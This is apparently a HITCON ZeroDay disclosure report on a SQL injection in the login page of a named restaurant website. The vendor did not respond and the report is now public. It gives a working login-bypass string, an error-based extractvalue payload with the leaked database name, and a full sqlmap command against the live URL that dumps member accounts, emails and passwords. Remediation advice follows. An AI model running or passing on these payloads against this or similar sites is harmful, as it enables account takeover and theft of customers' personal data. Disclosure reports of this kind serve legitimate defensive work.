Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01338
- Vendor: 富狀元豬腳
- Title: 富狀元豬腳 登入畫面 存在 SQL Injection 漏洞
- Introduction: 登入畫面 存在 SQL Injection 漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/10/15 12:50:42 : 新提交 (由 numb2 更新此狀態)
- 2025/10/15 15:58:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:45:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:45:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/17 13:45:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/12/15 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01338
- 通報者:numb2Too (numb2)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
透過
aa' OR 1=1; --
可登入成功
' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) --
獲取database與table以及帳號密碼欄位訊息
Invalid SQL: SELECT * FROM member WHERE account = '' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- ' and password = '08f8e0260c64418510cefb2b06eee5cd' AND active = 1 <br>
: 1105 (XPATH syntax error: '~jakry_fudeka~')<br>
Please contact us [<a href="mailto:[email protected]">[email protected]
sqlmap -u "https://www.fu-deka.com/r_login.php?c1=aaa&c2=bbb" --batch --random-agent -p c1 -D "jakry_fudeka" -T "member" -C "account,name,email,password,passwords" --where "name <> ''" --dump
獲取會員資料
使用任意會員帳號無需密碼可登入成功
影響:
會員敏感資料洩漏
修補建議
1. 立刻暫時下線或封鎖 vulnerable 登入頁面
若無法下線:在 WAF 或 webserver 加規則封掉可疑輸入(短期緩解)。
2. 停止使用儲存明文密碼的欄位(passwords)
立即停止寫入該欄位(deploy 變更),把欄位標為「不可讀/不可用」。
若可能,先備份後再刪除欄位:
ALTER TABLE users RENAME COLUMN passwords TO passwords_backup;
-- 確認無用後再 DROP
3. 修掉 SQL injection(核心)——改用準備語句(Prepared Statements)
PHP PDO 範例(最簡):
$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE username = :username LIMIT 1');
$stmt->execute([':username' => $username]);
任何 SQL 都不要用字串接 "$username"。
4. 把密碼改成安全雜湊(不要 MD5、不要明文)
PHP 直接用內建:
$hash = password_hash($plain, PASSWORD_ARGON2ID); // 優先
password_verify($input, $hash);
若目前資料庫有明文:發送一次性密碼重設(強烈建議)或在下次登入時趁機 migrate。
5. 限制資料庫帳號權限(Least Privilege)
應用程式 DB 帳號只給需要的 SELECT/INSERT/UPDATE on 特定表,不給 DROP / SHOW DATABASES / GRANT 等管理權限。
6. 開啟並檢查日誌、通告事件響應
打開 web + DB 查詢日誌,找出可疑大量 SELECT。
若懷疑已外洩,啟動 incident response 並通知管理/法務。
7. 改進登入錯誤訊息與限制
錯誤訊息統一:「帳號或密碼錯誤」。
加登入速率限制、鎖帳、並考慮啟用 MFA。
以上AI建議